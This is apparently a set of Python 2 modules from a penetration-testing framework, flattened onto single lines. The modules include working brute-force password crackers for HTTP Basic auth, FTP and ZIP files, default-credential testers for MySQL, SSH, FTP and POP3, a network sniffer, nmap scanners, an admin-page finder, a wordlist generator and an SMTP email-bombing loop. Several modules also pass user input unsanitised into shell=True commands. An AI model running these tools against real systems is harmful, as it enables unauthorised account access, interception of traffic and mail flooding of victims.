def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: w = whois.whois(initialize.DEFAULT_VARIABLE[0][0]) if w: wd = w.__dict__ print colors[10] for k, v in wd.items(): print('%20s\t"%s"' % (k, v)) print colors[0] except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) if True: red=socket.socket(socket.AF_INET, socket.SOCK_STREAM) red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) Message.loading_file() try: with open(initialize.DEFAULT_VARIABLE[4][0],'r') as passwords: for password in passwords: password=password.replace("\n","") red.send("GET "+initialize.DEFAULT_VARIABLE[2][0]+" HTTP/1.1\r\n") red.send("HOST: "+initialize.DEFAULT_VARIABLE[0][0]+"\r\n") red.send("Authorization:Basic "+base64.b64encode(initialize.DEFAULT_VARIABLE[3][0]+":"+password)+"\r\n\r\n") last=red.recv(1000) if last.find("401")<=0: getFunction.savethree("BruteForceHTTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],initialize.DEFAULT_VARIABLE[3][0],password) Message.Success(initialize.DEFAULT_VARIABLE[3][0],password) red.close main(True) else: print " "+Alr+" Checking (username="******")(password="******")" red.close except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[4][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ elif getFunction.KatanaCheckActionisBack(actions): return else: getFunction.KatanaCheckActionGlobalCommands(actions) except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: ftp = FTP(initialize.DEFAULT_VARIABLE[0][0]) if True: try: Message.loading_file() with open(initialize.DEFAULT_VARIABLE[3][0], 'r') as passwords: for password in passwords: password = password.replace("\n", "") try: ftp.login( initialize.DEFAULT_VARIABLE[2][0], password) if True: getFunction.save( "BruteForceFTP", initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0], password) Message.Success( initialize.DEFAULT_VARIABLE[2][0], password) break except: print " " + Alr + " Checking (" + initialize.DEFAULT_VARIABLE[ 2][0] + "=" + password + ")" except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: Message.loading_file() Arch = open(initialize.DEFAULT_VARIABLE[1][0], "r") if True: leeArchivo = Arch.readlines() try: ZIParch = zipfile.ZipFile( initialize.DEFAULT_VARIABLE[0][0]) if True: for palabra in leeArchivo: palabraLlegada = palabra.split("\n") try: ZIParch.extractall( pwd=str(palabraLlegada[0])) if True: getFunction.savetwo( "BruteForceZIP", initialize.DEFAULT_VARIABLE[0][0], palabraLlegada[0]) print "\n-" + Suf + " file Cracked with =", str( palabraLlegada[0]) + "\n" break except: print " " + Alr + " Checking with ", str( palabraLlegada[0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: Message.loading_file() with open(initialize.DEFAULT_VARIABLE[0][0], 'r') as comprossed: if True: print "\n " + Hlp + " Forensic Imagen Client help" print " --------------------------------------------" print " |extract_all | extract all MD | ... |" print " |comment | comment whatever| comment :)|" print " --------------------------------------------\n" cmd = "nop" parameter = "ROO" while (cmd != "exit"): cmd = raw_input( Message.Client_prompt('forence{IMAGEN}')) if (cmd == "extract_all"): subprocess.call( "perl files/exiftool/exiftool " + initialize.DEFAULT_VARIABLE[0][0], shell=True) elif (cmd[:7] == "comment"): subprocess.call( "perl files/exiftool/exiftool -comment=" + cmd[8:] + " " + initialize.DEFAULT_VARIABLE[0][0], shell=True) except: Errors.Errors(event=sys.exc_info()[0], info=initialize.DEFAULT_VARIABLE[0][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSaveValue(actions) :getFunction.SaveValue(actions,IPs) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: if getFunction.isConect(): Message.space() commands.getoutput(NMAP_PATH+' -sn '+str(initialize.DEFAULT_VARIABLE[0][0])+' -oX tmp/ips.xml > null') GateWay=getFunction.get_gateway() tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf=0 counter=0 IP="" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf=hosted.get('addr') else: if GateWay == IPf : IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] for HOST in IPs: counter=counter+1 print " ["+str(counter)+"]"+HOST Message.space() commands.getoutput('rm tmp/ips.xml > null') else: Message.Noconnect() except: Errors.Errors(event=sys.exc_info(), info=False) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: con=poplib.POP3_SSL(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) con.user(initialize.DEFAULT_VARIABLE[2][0]) con.pass_(initialize.DEFAULT_VARIABLE[3][0]) cmd="nop" print "\n "+Hlp+" POP3 Client help" print " -----------------------------------------" print " |"+colors[6]+"Command"+colors[0]+"|"+colors[6]+"Description "+colors[0]+" |"+colors[6]+"Examples"+colors[0]+" |" print " -----------------------------------------" print " |list | list mails | list |" print " |read | show mail | retr 2 |" print " |dele | remove mail | dele 2 |" print " -----------------------------------------\n" while(cmd!="exit"): cmd = raw_input(Message.Client_prompt('pop3')) if cmd == "list": numMessages = len(con.list()[1]) for i in range(numMessages):print " E-mail "+str(i) if cmd[0:4] == "read": for j in con.retr(int(cmd[5:])+1)[1]: print j if cmd[0:4] == "dele": try: con.dele(int(cmd[5:])+1)[1] print " "+Alr+" email marked for delete ('quit' for exit and delete all email marked)" except Exception,e:print(" "+Bad+" Error", e) if cmd == "quit": con.quit() break except poplib.error_proto as Error:print " "+Bad+" "+Error.message except:Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
def main(run): try: if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionisBack(actions): return if True: Message.run() # CODE MODULE ############################################################################################ cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: starting = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() print error cmd.stdout.close() print "[+] No network found" pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))" print " " + Alr + " Monitoring ARP's tables" while (True): cmd = Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) try: look = cmd.stdout.read() cmd.stdout.close() except: error = cmd.stderr.read() cmd.stdout.close() print(" " + Bad + " No network found") if (str(starting)) == (str(look)): print " " + Alr + " all right, the ARP/s tables have not changed... ", " at: ", datetime.now( ).strftime('%H:%M:%S') else: print " " + War + " ARP Table Changed ", " at: ", datetime.now( ).strftime('%H:%M:%S') print " " + War + " Data: ---------------------------------------------" print " " + look print " ----------------------------------------------------------" time.sleep(14) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Messages.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) Messages.helpAUX() print " Current Interfaces : ", getFunction.get_interfaces() Messages.space() print " "+colors[7]+"Type Description"+colors[0] print " [ALL] Whatever" print " [DNS] Domains Name Service" print " [FTP] File Transfer Protocol" print " [POP] Post Office Protocol" Messages.space() elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Messages.run() # CODE MODULE ############################################################################################ if initialize.DEFAULT_VARIABLE[1][0] == "DNS" : FILTER = "udp or port 53" if initialize.DEFAULT_VARIABLE[1][0] == "FTP" : FILTER = "port 21" if initialize.DEFAULT_VARIABLE[1][0] == "ALL" : FILTER = "udp or tcp" if initialize.DEFAULT_VARIABLE[1][0] == "POP" : FILTER = "port 110" if getFunction.checkDevice(initialize.DEFAULT_VARIABLE[0][0]): print " "+colors[10]+" #\t"+colors[4]+"PROTOCOL\tSOURCE\t\tDESTINE\t\tDATA "+colors[0] while True: sniff(filter=FILTER, prn=callback, store=0, iface=initialize.DEFAULT_VARIABLE[0][0]) else: Messages.NoDeviceFound(initialize.DEFAULT_VARIABLE[0][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: subprocess.call( 'cd files/joomlavs/;ruby joomlavs.rb -a -u ' + initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0], shell=True) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions=raw_input(Message.prompt(initialize.CodeName)) else : actions="run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) Message.helpAUX() print " "+colors[7]+"Type Description Speed"+colors[0] print " [profile-0] Intense scan slow" print " [profile-1] Intense scan plus UDP slow" print " [profile-2] Intense scan, all TCP ports very slow" print " [profile-3] Intense scan, no ping slow" print " [profile-4] Ping scan fast" print " [profile-5] Quick scan fast" print " [profile-6] Quick scan plus fast" print " [profile-7] Quick traceroute fast" print " [profile-8] Regular scan slow" print " [profile-9] Slow comprehensive scan fast" Message.space() elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions) :return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: if getFunction.isConect(): parameter="-T4 -A -v" if initialize.DEFAULT_VARIABLE[1][0] =="profile-0": parameter="-T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-1": parameter="-sS -sU -T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-2": parameter="-p 1-65535 -T4 -A -v" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-3": parameter="-T4 -A -v -Pn" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-4": parameter="-sn" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-5": parameter="-T4 -F" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-6": parameter="-sV -T4 -O -F --version-light" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-7": parameter="-sn --traceroute" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-8": parameter="" elif initialize.DEFAULT_VARIABLE[1][0]=="profile-9": parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'" else: print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help." initialize.DEFAULT_VARIABLE[1][0]="profile-0" main(True) print " "+Alr+" Scanning Target: "+initialize.DEFAULT_VARIABLE[0][0]+" wait it may take a few minutes." OSMATCHs=[] SERVICEs=[] INFORMEs=[] MAC="Unknow" VENDOR="Unknow" Message.space() commands.getoutput(NMAP_PATH+" "+parameter+" "+initialize.DEFAULT_VARIABLE[0][0]+" -oX tmp/portScanner-tmp.xml > null") tree = ET.parse('tmp/portScanner-tmp.xml') root = tree.getroot() for host in root.findall('host'): for address in host.findall('address'): p=address.get('addr') if not address.get('vendor'): VENDOR=VENDOR else: VENDOR=address.get('vendor') if p.find(":") <= 0 : IP=address.get('addr') else: MAC=address.get('addr') for ports in host.findall('ports'): for port in ports.findall('port'): PROTOCOL=port.get('protocol') PORT=port.get('portid') for service in port.findall('service'): if not service.get('product'): product="{NULL}" version="{NULL}" info="{NULL}" else: product=service.get('product') version=service.get('version') info=service.get('extrainfo') product=str("{NULL}" if product is None else product) version=str("{NULL}" if version is None else version) info=str("{NULL}" if info is None else info) SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0]) for hostscript in host.findall('hostscript'): for script in hostscript.findall('script'): if script.get('id') == 'smb-os-discovery': INFORMEs.append(script.get('output')) for os in host.findall('os'): for osmatch in os.findall('osmatch'): OSMATCHs.append(osmatch.get('name')) print " Ip address: "+initialize.DEFAULT_VARIABLE[0][0] print " Mac : "+MAC print " Vendor : "+VENDOR print " OS Matchs : " for os in OSMATCHs: print " "+os print " Services : " for services in SERVICEs: print " "+str(services) print " Report :" for informer in INFORMEs: informer=str("{NULL}" if informer is "" else informer) print str(informer) commands.getoutput('rm tmp/portScanner-tmp.xml > null') Message.space() else: Message.Noconnect() except: Errors.Errors(event=sys.exc_info(), info=False) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: try: server = smtplib.SMTP(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if initialize.TLS: server.starttls() server.login(initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[3][0]) Message.loading_file() with open(initialize.DEFAULT_VARIABLE[6][0], 'r') as body: FILE_HTML = "" for read_line in body: FILE_HTML += read_line message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % ( initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[4][0], initialize.DEFAULT_VARIABLE[5][0], FILE_HTML) try: many = 0 while (many < int(initialize.DEFAULT_VARIABLE[7][0])): many += 1 server.sendmail(initialize.DEFAULT_VARIABLE[4][0], initialize.DEFAULT_VARIABLE[2][0], message) print " " + Suf + " #" + str( many) + " E-Mail was sent." except: print " " + Bad + " E-Mail not was sent." print " " + Suf + " Attack Completed." server.quit() except smtplib.SMTPAuthenticationError: print ' ' + Bad + ' Authentication Required or Authentication went wrong.\n' except: error = str(sys.exc_info()[1]) if error.find("SMTP AUTH extension") >= 0: print " " + Bad + " TLS error, Starting again with TLS." initialize.TLS = True main(False) Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[6][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) if True: try: Message.loading_file() with open(initialize.DEFAULT_VARIABLE[2][0], 'r') as dirt: results = "" resultn = "" for patch in dirt: patch = patch.replace("\n", "") patch = "/" + patch connection = httplib.HTTPConnection( initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]) connection.request("GET", patch) response = connection.getresponse() if response.status == 200 or response.status == 301: print " " + Suf + " Response " + patch results = "-" + Suf + " " + patch + "\n" + results resultn = patch + "," + resultn else: print " " + Alr + " Checking `" + colors[ 0] + patch + "` Response:" + str( response.status) if results != "": print "\n" + results getFunction.savefive( "Admin Finder", initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], results) else: print "\n " + Nrs + " Not Results :(.\n" except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]) except: Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0] + ":" + initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) Message.helpAUX() print " " + colors[7] + "Type Description" + colors[0] print " chars_min = [a,b,c,...,z]" print " chars_may = [A,B,C,...,Z]" print " chars_num = [0,1,2,...,9]" print " chars_mix = [a,b,...,0,1]" Message.space() elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ if initialize.DEFAULT_VARIABLE[2][ 0] != "chars_min" and initialize.DEFAULT_VARIABLE[2][ 0] != "chars_may" and initialize.DEFAULT_VARIABLE[2][ 0] != "chars_num" and initialize.DEFAULT_VARIABLE[ 2][0] != "chars_mix": print " " + Alr + " Error to set chars, use chars_min, chars_mix, chars_may or chars_num" initialize.DEFAULT_VARIABLE[2][0] = "chars_num" main(True) if True: Maxima = 1 long_max = long(initialize.DEFAULT_VARIABLE[1][0]) long_min = long(initialize.DEFAULT_VARIABLE[1][0]) char_null = [''] chars_min = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ] chars_may = [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z' ] chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] chars_spe = ['.', '-', '_', '/', '@'] permitidos = [] permitidos += char_null if initialize.DEFAULT_VARIABLE[2][0] == "chars_num": permitidos += chars_num if initialize.DEFAULT_VARIABLE[2][0] == "chars_may": permitidos += chars_may if initialize.DEFAULT_VARIABLE[2][0] == "chars_min": permitidos += chars_min if initialize.DEFAULT_VARIABLE[2][0] == "chars_mix": permitidos += chars_min permitidos += chars_num total_chars = len(permitidos) char_n_max = total_chars - 1 cadena = [] for chars in range(0, long_max): cadena += [0] for i in range(1, long_min + 1): cadena[-(i)] = 1 cadena_max = [] for chars in range(0, long_max): cadena_max += [total_chars - 1] def toClave(cadena1): password = "" for indice in cadena1: password += permitidos[indice] return password def isMax(cadena1): if toClave(cadena1) != toClave(cadena_max): return False return True def aumentarCadena(cadena1): unidad = 1 acarreo = 0 for digito in range(1, long_max + 1): if cadena[-(digito)] < char_n_max: if unidad == 1: cadena[-(digito)] += 1 unidad = 0 return cadena1 elif acarreo == 1: cadena[-(digito)] += 1 acarreo = 0 return cadena1 else: cadena[-(digito)] = 1 acarreo = 1 return cadena1 for number_total in cadena_max: Maxima = Maxima * number_total procent = int(Maxima) / 10 counter = 0 porcent = 0 print " " + Alr + " Creating file... ", getFunction.status_cmd( "echo >" + initialize.DEFAULT_VARIABLE[0][0], "\t\t\t") print " " + Alr + " Generating... [" + str( Maxima) + "] Words to Generate " + str( porcent) + "% Complete" fichero = open(initialize.DEFAULT_VARIABLE[0][0], 'w') bucle = True while bucle: password = toClave(cadena) fichero.write(password + '\n') counter = counter + 1 if procent == counter: procent = procent + procent porcent = porcent + 20 print " " + War + " " + str( porcent) + "% Porcent Complete" if isMax(cadena): porcent = porcent + 20 print " " + War + " " + str( porcent) + "% Porcent Complete" bucle = False cadena = aumentarCadena(cadena) print(" " + Suf + " Completed, output file in " + initialize.DEFAULT_VARIABLE[0][0]) Message.space() fichero.close() # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
def main(run): try: # HEAD MODULE if run: actions = raw_input(Message.prompt(initialize.CodeName)) else: actions = "run" if getFunction.KatanaCheckActionShowOptions(actions): getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionSetValue(actions): initialize.DEFAULT_VARIABLE = getFunction.UpdateValue( actions, initialize.DEFAULT_VARIABLE) elif getFunction.KatanaCheckActionisBack(actions): return # END HEAD MODULE elif getFunction.runModule(actions): Message.run() # CODE MODULE ############################################################################################ try: Message.testing("Mysql", "3306") MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0], '') Message.live_protocol() if True: print(" " + Suf + " Logged with " + initialize.DEFAULT_VARIABLE[1][0] + "/" + initialize.DEFAULT_VARIABLE[2][0] + " in Mysql") except: print " " + Bad + " Service Off or No Logged." try: Message.testing("SSH", SSH_PORT) connect = pxssh.pxssh() connect.login(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0]) d.live_protocol() if True: print(" " + Suf + " Logged with " + initialize.DEFAULT_VARIABLE[1][0] + "/" + initialize.DEFAULT_VARIABLE[2][0] + " in SSH") except: print " " + Bad + " Service Off or No Logged." try: Message.testing("FTP", FTP_PORT) ftp.login(initialize.DEFAULT_VARIABLE[1][0], initialize.DEFAULT_VARIABLE[2][0]) if True: print(" " + Suf + " Logged with " + initialize.DEFAULT_VARIABLE[1][0] + "/" + initialize.DEFAULT_VARIABLE[2][0] + " in FTP") except: print " " + Bad + " Service Off or No Logged." try: Message.testing("POP3", POP_PORT) red = poplib.POP3(initialize.DEFAULT_VARIABLE[0][0], 110) red.user(initialize.DEFAULT_VARIABLE[1][0] + "@" + initialize.DEFAULT_VARIABLE[0][0]) red.pass_(initialize.DEFAULT_VARIABLE[2][0]) if True: print(" " + Suf + " Logged with " + initialize.DEFAULT_VARIABLE[1][0] + "/" + initialize.DEFAULT_VARIABLE[2][0] + " in POP3") except: print " " + Bad + " Service Off or No Logged." # END CODE MODULE ############################################################################################ else: getFunction.KatanaCheckActionGlobalCommands(actions) # ERROR GENERAL except: Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) # END ERROR GENERAL main(True)
